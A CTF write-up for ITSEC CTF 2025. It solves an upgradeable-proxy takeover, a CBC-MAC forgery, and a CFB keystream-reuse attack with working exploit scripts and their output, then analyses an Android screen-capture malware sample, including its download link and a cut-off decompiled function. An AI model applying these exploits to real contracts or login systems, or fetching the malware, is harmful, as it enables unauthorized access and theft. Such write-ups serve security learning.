ITSEC CTF 2025
https://itsecsummit.events/competition/
CHALL’S SOLVED
Category | Challenge |
---|---|
Blockchain | Hope |
Cryptography | Controller |
Cryptography | Ingfokan Login |
Forensics | HMICast [Late] |
Forensics | Hacked |
Forensics | Night Shift |
A huge thank’s to ITSEC CTF 2025 organizers for providing such great and interesting CTF challenges.

Blockchain
Hope
Overview
Author: …
Description: Notice that “Hope” is a luxury? Some already have it, some… can FORCE it.
Connection Info: 54.254.152.24:51002
First blockhain challenge that I solved in last day (Day 3 Comp)
1// SPDX-License-Identifier: Kiinzu
2pragma solidity 0.8.28;
3
4import { Hope } from "./Hope.sol";
5import { HopeBeacon } from "./HopeBeacon.sol";
6
7
8contract Setup{
9 Hope public immutable hope;
10 HopeBeacon public immutable HB;
11
12 constructor() payable {
13 hope = new Hope();
14
15 bytes memory initializationCall = abi.encodeCall(hope.initialize, ());
16 HB = new HopeBeacon(address(hope), initializationCall);
17 }
18
19 function isSolved() external returns(bool){
20 bytes memory testIfSolve = abi.encodeCall(hope.isHopeAvailable, ());
21 (bool success, bytes memory rawData) = address(HB).call(testIfSolve);
22 require(success);
23 return abi.decode(rawData, (bool));
24 }
25
26}
The vulnerability is that the upgradeToAndCall(address,bytes)
function in the Hope.sol
contract, inherited from UUPSUpgradeable
, is public. It lacks a crucial access control modifier like onlyOwner. This allows any external actor to call this function on the proxy, thereby replacing the implementation contract’s address with a new one.
1// SPDX-License-Identifier: Kiinzu
2pragma solidity 0.8.28;
3
4import { UUPSUpgradeable } from "openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol";
5import { OwnableUpgradeable } from "openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol";
6
7contract Hope is UUPSUpgradeable, OwnableUpgradeable{
8
9 address private _proxy;
10
11 uint256 private hopeVersion;
12
13 event InitializeHOPEUpgrade(address _newHope, uint256 _fromVersion, uint256 _toVersion);
14
15 function initialize() public initializer{
16 __Ownable_init(msg.sender);
17 hopeVersion = 1;
18 }
19
20 function isHopeAvailable() public pure returns(bool){
21 return false;
22 }
23
24 function getHopeVersion() public view onlyProxy returns(uint256){
25 return _getHopeVersion();
26 }
27
28 function _getHopeVersion() internal view onlyProxy returns(uint256) {
29 return hopeVersion;
30 }
31
32 function _authorizeUpgrade(address _newImplementation) internal override onlyProxy{
33 uint256 currentVersion = hopeVersion++;
34 uint256 newVersion = hopeVersion;
35 emit InitializeHOPEUpgrade(_newImplementation, currentVersion, newVersion);
36 }
37
38}
1// SPDX-License-Identifier: Kiinzu
2pragma solidity 0.8.28;
3
4import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
5
6contract HopeBeacon is ERC1967Proxy{
7 constructor(address _implementation, bytes memory _data) ERC1967Proxy(_implementation, _data){}
8}
The first step is to create a malicious contract that will serve as the new implementation. This contract is nearly identical to Hope.sol
, but the isHopeAvailable()
function is modified to return true. Then deployed to the blockchain to get its address.
1// SPDX-License-Identifier: Kiinzu
2pragma solidity 0.8.28;
3
4import { UUPSUpgradeable } from "@openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol";
5import { OwnableUpgradeable } from "@openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol";
6
7contract FalseHope is UUPSUpgradeable, OwnableUpgradeable{
8
9 address private _proxy;
10
11 uint256 private hopeVersion;
12
13 event InitializeHOPEUpgrade(address _newHope, uint256 _fromVersion, uint256 _toVersion);
14
15 function initialize() public initializer{
16 __Ownable_init(msg.sender);
17 hopeVersion = 1;
18 }
19
20 function isHopeAvailable() public pure returns(bool){
21 return true;
22 }
23
24 function getHopeVersion() public view onlyProxy returns(uint256){
25 return _getHopeVersion();
26 }
27
28 function _getHopeVersion() internal view onlyProxy returns(uint256) {
29 return hopeVersion;
30 }
31
32 function _authorizeUpgrade(address _newImplementation) internal override onlyProxy{
33 uint256 currentVersion = hopeVersion++;
34 uint256 newVersion = hopeVersion;
35 emit InitializeHOPEUpgrade(_newImplementation, currentVersion, newVersion);
36 }
37
38}
The second step is to craft a calldata
payload to call the upgradeToAndCall
function on the proxy contract (HopeBeacon
). The solver script demonstrates how to construct this payload.
1import os
2from foundpy import *
3from web3 import Web3
4
5RPC_URL = "http://54.254.152.24:51002/5d396d05-46c1-4b25-941d-e2cd5963a57e"
6PRIVKEY = "940d71ecda78ccc29af34df2e8133745d96e1d703fd96dc3a01f7914bbe847f1"
7SETUP_CONTRACT_ADDR = "0xBb18DAE5F83B998294CCb4145876Ad0Fa7bfF75d"
8
9config.setup(RPC_URL, PRIVKEY)
10
11base_path = os.getcwd()
12remappings = [
13 f"@openzeppelin/contracts={base_path}/node_modules/@openzeppelin/contracts",
14 f"openzeppelin-contracts-upgradeable/contracts={base_path}/node_modules/@openzeppelin/contracts-upgradeable",
15 f"@openzeppelin-contracts-upgradeable/contracts={base_path}/node_modules/@openzeppelin/contracts-upgradeable"
16]
17
18def main():
19 setup = Contract(SETUP_CONTRACT_ADDR, "Setup.sol", import_remappings=remappings)
20 hope_logic_addr = setup.call("hope")
21 proxy_addr = setup.call("HB")
22 print(f"[INFO] Setup: {setup.address}")
23 print(f"[INFO] Hope Logic: {hope_logic_addr}")
24 print(f"[INFO] Proxy: {proxy_addr}")
25
26 false_hope = deploy_contract("FalseHope.sol", import_remappings=remappings)
27 print(f"[INFO] FalseHope deployed: {false_hope.address}")
28
29 func_selector = "0x4f1ef286"
30 address_param = false_hope.address[2:].lower().zfill(64)
31 offset_param = "0000000000000000000000000000000000000000000000000000000000000040"
32 length_param = "0000000000000000000000000000000000000000000000000000000000000000"
33 call_data = func_selector + address_param + offset_param + length_param
34
35 tx = {
36 'to': proxy_addr,
37 'data': call_data,
38 'from': config.w3.eth.default_account,
39 'gas': 300000,
40 'gasPrice': config.w3.eth.gas_price,
41 }
42 receipt = config.w3.eth.wait_for_transaction_receipt(
43 config.w3.eth.send_transaction(tx)
44 )
45
46 if receipt.status == 1:
47 print("[SUCCESS] upgradeToAndCall executed")
48 else:
49 print("[FAIL] upgradeToAndCall failed")
50
51 if setup.call("isSolved"):
52 print("SOLVED!")
53 else:
54 print("Not solved")
55
56if __name__ == "__main__":
57 main()
To exploits a smart contract vulnerability by first deploying a new contract implementation called FalseHope
. It then constructs a raw transaction payload targeting the HopeBeacon
proxy contract. This payload is specifically crafted to call the public upgradeToAndCall
function, passing the address of the newly deployed FalseHope
contract as the new logic implementation. By sending this transaction, it performs an unauthorized upgrade of the proxy, which changes the contract’s logic to meet the winning condition, thus successfully solving the challenge when isSolved()
is checked.
$ python3 solver.py
[INFO] Setup: 0xBb18DAE5F83B998294CCb4145876Ad0Fa7bfF75d
[INFO] Hope Logic: 0x7eF168E63C8CF5010a3d13a0f9352078e820FD84
[INFO] Proxy: 0x2597C55AAB3d6675437EaCDD7F2612A0095A5250
[INFO] FalseHope deployed: 0x40ce57cE0E85B4C1da054a8c6d60f210302B8c27
[SUCCESS] upgradeToAndCall executed
SOLVED!
FLAG
ITSEC{N0w_1_c4N_tak30v3r_th3_c0ntr0l}
Cryptography
Controller
Overview
Author: Jakwan Bagung
Description: Some search, never finding a way Before long, they waste away I found you, something told me to stay
Flag Format: ITSEC{.*}
nc 13.250.98.246 20255
First crypto challenge in Day 1.
The main vulnerability is CBC-MAC Forgery, caused by the use of a static, zero-valued Initialization Vector (IV) in the AES-CBC encryption. This allows an attacker to craft a valid tag (signature) for a message of their choice (in this case, the admin’s username) by constructing it block by block.
The challenge implements an authentication system using a “tag” generated by the signature
class. This class is essentially an implementation of AES-CBC-MAC.
tag(m)
Function: This function takes a messagem
(in hex format), encrypts it using AES in CBC mode, and returns the last ciphertext block as the tag.- Weak IV: The critical vulnerability lies in line 21:
self.iv = b"\x00" * self.blocksize
. The IV is set to a constant value: 16 bytes of nulls.
In CBC encryption, each ciphertext block $C_i$ is calculated using the formula: $$C_i = E_k(P_i ⊕ C_{i-1})$$ Where $P_i$ is the plaintext block, $C_{i-1}$ is the previous ciphertext block, and $E_k$ is the encryption function with key $k$. For the first block, $C_0$ is the IV.
Since the IV is always zero ($IV = 0$), the formula for the first block becomes: $$C_1 = E_k(P_1 ⊕ IV) = E_k(P_1 ⊕ 0) = E_k(P_1)$$
This allows us to obtain the raw encryption result of a single plaintext block ($P_1$) simply by requesting its tag. With this result ($C_1$), we can proceed to craft the second ciphertext block ($C_2$) for the combined message $P_1 || P_2$, and so on.
1#!/usr/bin/env python3
2import os
3from Crypto.Cipher import AES
4from Crypto.Util.Padding import pad
5import hashlib
6from secret import flag
7
8
9user_database = []
10class User:
11 def __init__(self, username, password, isAdmin, tag):
12 self.username = username
13 self.password = hashlib.md5(password.encode()).hexdigest()
14 self.isAdmin = isAdmin
15 self.tag = tag
16
17class signature():
18 def __init__(self, key):
19 self.key = key
20 self.blocksize = 16
21 self.iv = b"\x00" * self.blocksize
22
23 def tag(self, m):
24 m = bytes.fromhex(m)
25 if len(m) % 16 != 0:
26 m = pad(m, self.blocksize)
27 c1 = AES.new(self.key, AES.MODE_CBC, iv = self.iv).encrypt(m)
28 return c1[-self.blocksize:].hex()
29
30 def verify(self, m, tag):
31 return self.tag(m) == tag
32
33def check_availibility(username):
34 for i in user_database:
35 if username == i.username:
36 return False
37 return True
38
39def check_userpass(username, password):
40 for i in user_database:
41 if username == i.username:
42 return hashlib.md5(password).hexdigest() == i.password
43 return False
44
45def check_usertoken(username, token):
46 for i in user_database:
47 if username == i.username:
48 return token == i.tag
49 return False
50
51def check_privilege(username):
52 for i in user_database:
53 if username == i.username:
54 return i.isAdmin
55 return False
56
57
58def main():
59 bebek = signature(os.urandom(16))
60 user_database.append(User(b"thegreatestadminsinthewholeworld", os.urandom(16).hex(), True, bebek.tag(b"thegreatestadminsinthewholeworld".hex())))
61
62 print("===HAPPY HAPPY ITSEC aCCounT PAGE==")
63 while True:
64 print("1. Register")
65 print("2. Login")
66 choice = input(">> ")
67 try:
68 if choice == "1":
69 regis_user = input("Username (hex): ")
70 regis_password = input("Password: ")
71 avail = check_availibility(bytes.fromhex(regis_user))
72 if avail:
73 user_database.append(User(bytes.fromhex(regis_user), regis_password, False, bebek.tag(regis_user)))
74 auth_token = bebek.tag(regis_user)
75 print("User successfully registered!")
76 print(f"your authentication token: {auth_token}")
77 else:
78 print("User already exist!")
79
80 elif choice == "2":
81 print("a. Login with password")
82 print("b. Login with token")
83 login_choice = input(">> ")
84 if login_choice == "a":
85 login_user = bytes.fromhex(input("Username (hex): "))
86 login_pass = input("Password: ")
87 result = check_userpass(login_user, login_pass.encode())
88 if result:
89 print(f"Hello {login_user.decode()}, You are logged in!")
90 priv = check_privilege(login_user)
91 if priv:
92 print(f"As a superadmin, here's your flag: {flag}")
93 else:
94 print("Too bad you are not superadmin")
95 else:
96 print("Login failed!")
97 elif login_choice == "b":
98 login_user = bytes.fromhex(input("Username (hex): "))
99 login_token = input("Token: ")
100 result = check_usertoken(login_user, login_token)
101 if result:
102 print(f"Hello {login_user.decode()}, You are logged in!")
103 priv = check_privilege(login_user)
104 if priv:
105 print(f"As a superadmin, here's your flag: {flag}")
106 else:
107 print("Too bad you are not superadmin")
108 else:
109 print("Login failed!")
110 elif choice == "3":
111 exit()
112 except:
113 print("Application Error!")
114
115if __name__ == '__main__':
116 main()
We need to craft a valid tag for the admin username b"thegreatestadminsinthewholeworld"
to log in and get the flag.
Step 1: Splitting the Admin Username
The admin username is 33 bytes long. When the tag
function is called, this message will be padded to 48 bytes (3 blocks of 16 bytes). Let’s call these plaintext blocks P1
, P2
, and P3
.
P1 = b'thegreatestadmin'
P2 = b'sinthewholeworld'
P3 = b'd' + b'\x0f'*15
(The character ’d’ followed by 15 bytes of0x0f
padding)
Step 2: Obtaining C1
We can get C1 = E_k(P1)
by registering a new user with P1
as the username.
- Action: Register with the username
P1.hex()
. - Result: The server will return a token, which is
tag(P1.hex())
. Since the IV is zero, this token is exactlyC1
.
Step 3: Using C1
to Obtain C2
Now that we have C1
, we want the server to compute C2 = E_k(P2 ⊕ C1)
. We can trick the server into doing this for us.
- Action: Create a new message
M_forge = P2 ⊕ C1
. Then, register with the usernameM_forge.hex()
. - Result: The server will compute
tag(M_forge.hex())
. Its calculation isE_k(M_forge ⊕ IV)
. Because theIV
is zero, the result isE_k(M_forge) = E_k(P2 ⊕ C1)
, which is exactlyC2
. The token returned by the server isC2
.
Step 4: Using C2
to Obtain the Final Tag (C3
)
The process is the same as the previous step.
- Action: Create the final message
M_final_forge = P3 ⊕ C2
. Register with the usernameM_final_forge.hex()
. - Result: The server will return a token that is
E_k(M_final_forge) = E_k(P3 ⊕ C2)
, which isC3
.
This C3
is the valid token/tag for the original admin username.
Step 5: Login
Use the admin username b"thegreatestadminsinthewholeworld"
and the C3
token we just crafted to log in and retrieve the flag.
1from pwn import *
2import binascii
3
4io = remote('13.250.98.246', 20255)
5
6admin_user = b"thegreatestadminsinthewholeworld"
7log.info(f"Target Username: {admin_user.decode()}")
8
9m1 = admin_user[:16]
10m2 = admin_user[16:]
11log.info(f"Block M1: {m1}")
12log.info(f"Block M2: {m2}")
13
14log.info("Step 1: Registering with M1 to get intermediate block C1...")
15io.sendlineafter(b'>> ', b'1')
16io.sendlineafter(b'Username (hex): ', binascii.hexlify(m1))
17io.sendlineafter(b'Password: ', b'password123')
18
19io.recvuntil(b'your authentication token: ')
20c1_hex = io.recvline().strip()
21c1 = binascii.unhexlify(c1_hex)
22log.success(f"Received C1 (hex): {c1_hex.decode()}")
23
24log.info("Step 2: Crafting M_forge = M2 XOR C1...")
25m_forge = xor(m2, c1)
26log.info(f"Crafted M_forge: {m_forge.hex()}")
27
28log.info("Registering with M_forge to get the final admin token...")
29io.sendlineafter(b'>> ', b'1')
30io.sendlineafter(b'Username (hex): ', binascii.hexlify(m_forge))
31io.sendlineafter(b'Password: ', b'password456')
32
33io.recvuntil(b'your authentication token: ')
34forged_admin_token = io.recvline().strip()
35log.success(f"Forged Admin Token: {forged_admin_token.decode()}")
36
37log.info("Step 3: Logging in as admin with the forged token...")
38io.sendlineafter(b'>> ', b'2')
39io.sendlineafter(b'>> ', b'b')
40io.sendlineafter(b'Username (hex): ', binascii.hexlify(admin_user))
41io.sendlineafter(b'Token: ', forged_admin_token)
42
43io.recvuntil(b'As a superadmin, here\'s your flag: ')
44flag = io.recvline().decode().strip()
45log.success(f"FLAG: ITSEC{{{flag}}}")
46
47io.close()
FLAG
ITSEC{wh3n_y0u_w1th_m3}
Ingfokan Login
Overview
Author: Jakwan Bagung
Description: winfo parti 5 compe road to immo beton keras siap tabrak n1ka dan juragan raps
Flag Format: ITSEC{.*}
nc 54.254.152.24 2025
Connection Info: 54.254.152.24:51002
Second crypto chall,
This challenge involves exploiting a custom authentication protocol that contains two major cryptographic weaknesses. The objective is to bypass the authentication and then decrypt a secret sent by the server to obtain the flag.
There are two primary vulnerabilities within the chall.py script.
- Authentication Bypass
The credential verification process on the server (server.verifyCred()) compares the credential sent by the client with one calculated by the server itself.
The server’s credential is created in server.computeCred(), which essentially encrypts the portion of the clientChallenge that comes after the first 16 bytes.
We can tamper with the clientChallenge received by the server to be a string of exactly 16 bytes (for instance, b'00’ * 16), then the plaintext will be empty. Consequently, the server’s calculated self.credential will also be empty.
Next, we can tamper with the credential sent by the client, changing it to an empty string. This makes the comparison self.clientCredential == self.credential become "" == “”, which evaluates to True, successfully bypassing authentication.
- Keystream Reuse (Known-Plaintext Attack)
After a successful authentication, the server encrypts two messages using the sendCredential function and sends them to us:
server.sendCredential(attacker, server.clientChallenge) -> encrypts our tampered challenge (P1).
server.sendCredential(attacker, server.secret) -> encrypts the secret containing the flag (P2).
The sendCredential function implements a CFB (Cipher Feedback) stream cipher mode. The critical issue is that both encryption processes use the same IV (Initialization Vector). This IV is derived from the first 16 bytes of the clientChallenge that we tampered with.
Using the same IV and key to encrypt two different messages is a fatal vulnerability known as keystream reuse.
If we have:
C1 = P1 ⊕ Keystream
(Ciphertext 1 = Plaintext 1 XOR Keystream)C2 = P2 ⊕ Keystream
(Ciphertext 2 = Plaintext 2 XOR Keystream)
We can then recover the keystream because we know P1 (the b'00’ * 16 challenge we supplied) and we receive C1.
Keystream = P1 ⊕ C1
After obtaining the keystream, we can easily decrypt P2 (which contains the flag).
P2 = C2 ⊕ Keystream
1from Crypto.Cipher import AES
2from Crypto.Random import get_random_bytes
3import hashlib
4from secret import flag
5
6class Server:
7 def __init__(self):
8 random = get_random_bytes(256)
9 self.password = hashlib.md5(random).hexdigest()
10 assert len(flag) == 16
11 self.secret = (flag + get_random_bytes(48)).hex()
12
13 def receive_challenge(self, challenge):
14 self.clientChallenge = challenge
15
16 def sendChallenge(self, receiver):
17 self.challenge = get_random_bytes(16).hex() + get_random_bytes(48).hex()
18 print("sending server challenge: ", self.challenge)
19 receiver.receive_challenge(self, self.challenge)
20
21 def receive_credential(self, credential):
22 self.clientCredential = credential.decode()
23
24 def calculateSessionKey(self):
25 salt = b""
26 iterations = 100_000
27 key_length = 32
28 self.calculatedKey = hashlib.pbkdf2_hmac('sha256', server.clientChallenge.encode() + self.challenge.encode() + self.password.encode(), salt, iterations, dklen=key_length)
29
30
31 def computeCred(self):
32 challenge = bytes.fromhex(self.clientChallenge)
33 iv = challenge[:16]
34 plaintext = challenge[16:]
35
36 cipher_ecb = AES.new(self.calculatedKey, AES.MODE_ECB)
37 ciphertext = bytearray()
38 shift_reg = bytearray(iv)
39
40 for byte in plaintext:
41 encrypted = cipher_ecb.encrypt(bytes(shift_reg))
42 keystream_byte = encrypted[0]
43 cipher_byte = byte ^ keystream_byte
44 ciphertext.append(cipher_byte)
45
46 shift_reg = shift_reg[1:] + bytes([cipher_byte])
47
48 result = bytes(ciphertext)
49 self.nonce = iv
50 self.credential = result.hex()
51
52 def sendCredential(self, receiver, message):
53 challenge = bytes.fromhex(message)
54 plaintext = challenge
55 cipher_ecb = AES.new(self.calculatedKey, AES.MODE_ECB)
56 ciphertext = bytearray()
57 shift_reg = bytearray(self.nonce)
58
59 for i in range(0, len(plaintext), 16):
60 block = plaintext[i:i+16]
61
62 encrypted = cipher_ecb.encrypt(bytes(shift_reg))
63
64 cipher_block = bytes([b ^ e for b, e in zip(block, encrypted)])
65 ciphertext.extend(cipher_block)
66
67 shift_reg = bytearray(cipher_block)
68
69 result = bytes(ciphertext).hex()
70 print("sending server credential: ", result)
71 receiver.receive_credential(self, result)
72
73
74 def verifyCred(self):
75 if self.clientCredential == self.credential:
76 print("[+] Authentication Successful.")
77 return True
78 else:
79 print("[!] Authentication Failure!")
80 return False
81
82
83class Client:
84 def __init__(self, username, password):
85 self.username = hashlib.md5(username.encode()).hexdigest()
86 self.password = hashlib.md5(password.encode()).hexdigest()
87 self.randombytes = get_random_bytes(48).hex()
88 self.serverChallenge = None
89 self.serverCredential = None
90
91 def sendChallenge(self, receiver):
92 self.challenge = self.username + self.randombytes
93 print("sending client challenge: ", self.challenge)
94 receiver.receive_challenge(self, self.challenge)
95
96 def receive_challenge(self, serverChallenge):
97 self.serverChallenge = serverChallenge
98
99 def sendCredential(self, receiver):
100 print("sending client credential: ", self.credential)
101 receiver.receive_credential(self, self.credential)
102
103 def receive_credential(self, credential):
104 self.serverCredential = credential.decode()
105
106 def calculateSessionKey(self):
107 salt = b""
108 iterations = 100_000
109 key_length = 32
110 self.calculatedKey = hashlib.pbkdf2_hmac('sha256', self.challenge.encode() + self.serverChallenge.encode() + self.password.encode(), salt, iterations, dklen=key_length)
111
112 def computeCred(self):
113 challenge = bytes.fromhex(self.challenge)
114 iv = challenge[:16]
115 plaintext = challenge[16:]
116
117 cipher_ecb = AES.new(self.calculatedKey, AES.MODE_ECB)
118 ciphertext = bytearray()
119 shift_reg = bytearray(iv)
120
121 for byte in plaintext:
122 encrypted = cipher_ecb.encrypt(bytes(shift_reg))
123 keystream_byte = encrypted[0]
124 cipher_byte = byte ^ keystream_byte
125 ciphertext.append(cipher_byte)
126
127 shift_reg = shift_reg[1:] + bytes([cipher_byte])
128
129 result = bytes(ciphertext)
130 self.credential = result.hex()
131
132
133class Attacker:
134 def __init__(self, client, server):
135 self.client = client
136 self.server = server
137
138 def relay_challenge(self, receiver, challenge):
139 receiver.receive_challenge(challenge)
140
141 def receive_challenge(self, sender, challenge):
142 tamp = input(f"(tamper): ")
143 if tamp == "fwd":
144 msg_sent = challenge
145 else:
146 msg_sent = tamp
147
148 if sender == self.server:
149 self.relay_challenge(self.client, msg_sent)
150 elif sender == self.client:
151 self.relay_challenge(self.server, msg_sent)
152
153 def relay_credential(self, receiver, challenge):
154 receiver.receive_credential(challenge)
155
156 def receive_credential(self, sender, challenge):
157 tamp = input(f"(tamper): ")
158 if tamp == "fwd":
159 msg_sent = challenge.encode()
160 else:
161 msg_sent = tamp.encode()
162
163 if sender == self.server:
164 self.relay_credential(self.client, msg_sent)
165 elif sender == self.client:
166 self.relay_credential(self.server, msg_sent)
167
168
169if __name__ == "__main__":
170 print("===HAPPY HAPPY ITSEC LOGoN PAGE==")
171 username = input("Username: ")
172 password = input("Password: ")
173
174 client = Client(username, password)
175 server = Server()
176 attacker = Attacker(client, server)
177
178 def begin_communication():
179 while True:
180 client.sendChallenge(attacker)
181 server.sendChallenge(attacker)
182 client.calculateSessionKey()
183 server.calculateSessionKey()
184 client.computeCred()
185 server.computeCred()
186 client.sendCredential(attacker)
187 result = server.verifyCred()
188 if result:
189 server.sendCredential(attacker, server.clientChallenge)
190 server.sendCredential(attacker, server.secret)
191
192 begin_communication()
The steps to exploit this vulnerability are as follows:
Login & Intercept: Log in with any username and password.
Tamper Client Challenge: When the client sends its challenge, we replace it with 16 null bytes (b'00’ * 16). This will be our known plaintext (P1).
Bypass Authentication: When the client sends its credential, we replace it with an empty string to fool the server’s validation.
Receive Ciphertexts: The server will send two ciphertexts.
- C1: The encrypted result of our b'00’ * 16 challenge.
- C2: The encrypted result of the secret containing the flag.
Calculate Keystream: Perform an XOR operation between the known plaintext (P1) and the first ciphertext (C1) to recover the keystream. keystream = P1 ⊕ C1
Get the Flag: Perform an XOR operation between the second ciphertext (C2) and the recovered keystream. The result is the flag. flag = C2 ⊕ keystream
1from pwn import *
2
3io = remote("54.254.152.24", 2025)
4
5io.sendlineafter(b'Username: ', b'ud1n')
6io.sendlineafter(b'Password: ', b'ud1n')
7
8io.sendlineafter(b'(tamper): ', b'00' * 16)
9io.sendlineafter(b'(tamper): ', b'fwd')
10io.sendlineafter(b'(tamper): ', b'')
11
12io.recvuntil(b'sending server credential: ')
13c1_hex = io.recvline().strip()
14
15io.sendlineafter(b'(tamper): ', b'fwd')
16io.recvuntil(b'sending server credential: ')
17c2_hex = io.recvline().strip()
18
19p1 = bytes.fromhex('00' * 16)
20c1 = bytes.fromhex(c1_hex.decode())
21c2_flag_block = bytes.fromhex(c2_hex.decode()[:32])
22
23keystream = xor(c1, p1)
24
25flag_bytes = xor(c2_flag_block, keystream)
26flag = flag_bytes.decode()
27
28log.success(f"FLAG: ITSEC{{{flag}}} 🚩")
29
30io.close()
$ python3 sol.py
[+] Opening connection to 54.254.152.24 on port 2025: Done
[+] FLAG: ITSEC{i_l1ke_1t_b3tter} 🚩
[*] Closed connection to 54.254.152.24 port 2025
FLAG
ITSEC{i_l1ke_1t_b3tter}
Forensic
HMICast [Late]
Overview
Author: BlackBear
Description: Several important data has been acquired from an employee’s device as an evidence. Dig into the evidence to expose the stealthy actions that went unnoticed.
Notes: This challenge contains real malicious process. Please execute on a safe and controlled environment. We are not responsible for any damages or losses resulting from the use or misuse of this challenge.
Password: vJcCvAN7TZIJn9dQ
Connection Info: nc 13.250.98.246 4437
First day forensic challenge, solved on the first day, but couldn’t submit on time 😭😭.
We were given a challenge in the form of an Android system dump, where we were asked to analyze the device obtained from an employee as evidence and answer several questions.
1. Is the phone rooted?
Format: yes/no
Answer: yes
I googled and found that one of the applications used to root Android is Magisk
. Subsequently, evidence was found that the device was rooted. Using the command tree | grep magisk, I discovered that the Magisk app was installed, indicated by the directory data/app/app/UXpNnlj9PjkB4iDEfPdSKA==
and library files specific to Magisk, which is currently the most common tool for rooting Android.
$ tree | grep magisk
...
├── ~~UXpNnlj9PjkB4iDEfPdSKA==
│ └── io.github.vvb2060.magisk-GP-E6zBnQdlL8wAiMlXSkA==
│ ├── base.apk
│ ├── lib
│ │ └── arm
│ │ ├── libbusybox.so
│ │ ├── libinit-ld.so
│ │ ├── libmagisk.so
│ │ ├── libmagiskboot.so
│ │ ├── libmagiskinit.so
│ │ └── libmagiskpolicy.so
2. What is the malicious package name?
Format: com.abc.xyl
Answer: com.itsec.android.hmi
To see the installed package, we can use the simple command tree | grep hmi. This will reveal the directory data/app/app/~~t4gZvUr4eEizq9YXxE6PVQ==/com.itsec.android.hmi-C-csKBxVDuj7Ah_xn3fFKw==
.
$ tree | grep magisk
...
└── ~~t4gZvUr4eEizq9YXxE6PVQ==
│ └── com.itsec.android.hmi-C-csKBxVDuj7Ah_xn3fFKw==
│ ├── base.apk
│ ├── base.dm
│ ├── lib
│ │ └── arm
│ └── oat
│ └── arm
│ ├── base.art
│ ├── base.odex
│ └── base.vdex
3. What is the download link of the malicious package?
Format: https://evil.com/maliciousfile
Answer: https://mega.nz/file/uddABYRD#c__klT8jtAiAhKLWNfuOuywoZiRfZfSXqxxryrVslj8
To get the download link for the malicious package, I look up the Chrome browser history. If the malware was downloaded via the browser, the link would be captured in the Browser history.
Typically, the Chrome history file is named History
and is located at:
data/com.android.chrome/Default/History
This file is an SQLite database. I then opened it with https://sqliteviewer.app/ to directly view the tables and their values. The main table that needed to be checked was urls
.

The URL was found in the urls
column with id=11
.
4. What is the Android API that attacker use to capture victim's screen?
Format: android.xxx.yyy.zzz
Answer: android.media.projection.MediaProjectionManager
Since we have already get the base.apk
file, we can proceed to import and examine it using a decompiler tool like JADX-GUI.
From there, we can search for APIs related to screen recording or capture. The API commonly used for recording the screen on Android is MediaProjection
. To find it, proceed as follows:
Import base.apk -> CTRL + Shift + F -> MediaProjectionManager

5. What is the secretkey for image encryption process?
Format: secretkey
Answer: dPGgF7tQlBaGqqmj
This 5th question is quite nguli and involves reverse engineering a native library file, with access to the source code at com -> itsec.android.hmi
.
Based on the CryptoService$stringfromnative
class, the code points to a native library. Therefore, to find the key, we must analyze this native library file.
package com.itsec.android.hmi;
/* loaded from: classes.dex */
public final class CryptoService$stringfromnative {
/* renamed from: a reason: collision with root package name */
public static final CryptoService$stringfromnative f1878a = new Object();
/* JADX WARN: Type inference failed for: r0v0, types: [java.lang.Object, com.itsec.android.hmi.CryptoService$stringfromnative] */
static {
System.loadLibrary("native-lib");
}
public final native String getAES();
public final native String getRSA();
public final native String getRSAKey();
}
First, we need to extract the application with binwalk.
$ binwalk -e base.apk
$ cd _base.apk.extracted/lib/armeabi-v7a
Native library file to be reversed is /lib/armeabi-v7a/libnative-lib.so
. I opened it with the IDA 32-bit because after I checked it, I found that this armeabi-v7a
library version is a 32-bit ELF binary (for 32-bit ARM CPUs).
$ file libnative-lib.so
libnative-lib.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, BuildID[sha1]=eeeceb87af7f596aefa9186b162c9ef2a3b7e8b2, stripped
Several interesting function appeared, as shown below
Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getAES
Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSA
Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSAKey
Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSAKey
cb64
decompiled Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getAES
function
int __fastcall Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getAES(int a1)
{
char v3[256]; // [sp+4h] [bp-10Ch] BYREF
cb64(word_E0D8, v3, 256);
return (*(int (__fastcall **)(int, char *))(*(_DWORD *)a1 + 668))(a1, v3);
}
decompiled Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSA
function
int __fastcall Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSA(int a1)
{
char v3[256]; // [sp+4h] [bp-10Ch] BYREF
cb64(word_E0A0, v3, 256);
return (*(int (__fastcall **)(int, char *))(*(_DWORD *)a1 + 668))(a1, v3);
}
decompiled Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSAKey
function
int __fastcall Java_com_itsec_android_hmi_CryptoService_00024stringfromnative_getRSAKey(int a1)
{
char v3[8192]; // [sp+4h] [bp-2014h] BYREF
cb64(word_E110, v3, 0x2000);
return (*(int (__fastcall **)(int, char *))(*(_DWORD *)a1 + 668))(a1, v3);
}
decompiled cb64
function
int __fastcall cb64(const unsigned __int16 *a1, char *a2, int a3)
{
int v6; // r2
int v7; // lr
unsigned int v8; // r10
int v9; // r6
_BYTE *v10; // r0
int v12; // r2
bool v13; // cc
int v15; // r12
unsigned int v16; // r3
_BYTE *v17; // r4
char v18; // r1
char v19; // r6
_BYTE v20[8196]; // [sp+0h] [bp-2028h] BYREF
int v21; // [sp+2004h] [bp-24h]
sub_354D8(v20, 0x2000u);
v6 = *a1;
if ( *a1 )
{
v7 = 0;
v8 = 0;
do
{
v9 = 0;
while ( word_E020[v9] != v6 )
{
if ( ++v9 == 64 )
goto LABEL_12;
}
v20[v7] = (v9 & 0x20) != 0;
v20[v7 | 1] = (v9 & 0x10) != 0;
v10 = &v20[v7];
v7 += 6;
v6 = a1[v8 + 1];
v10[4] = (v9 & 2) != 0;
v10[5] = v9 & 1;
v10[3] = (v9 & 4) != 0;
v10[2] = (v9 & 8) != 0;
if ( !v6 )
break;
}
while ( v8++ < 0x7FF );
LABEL_12:
v13 = v7 < 8;
v12 = 0;
if ( v7 >= 8 )
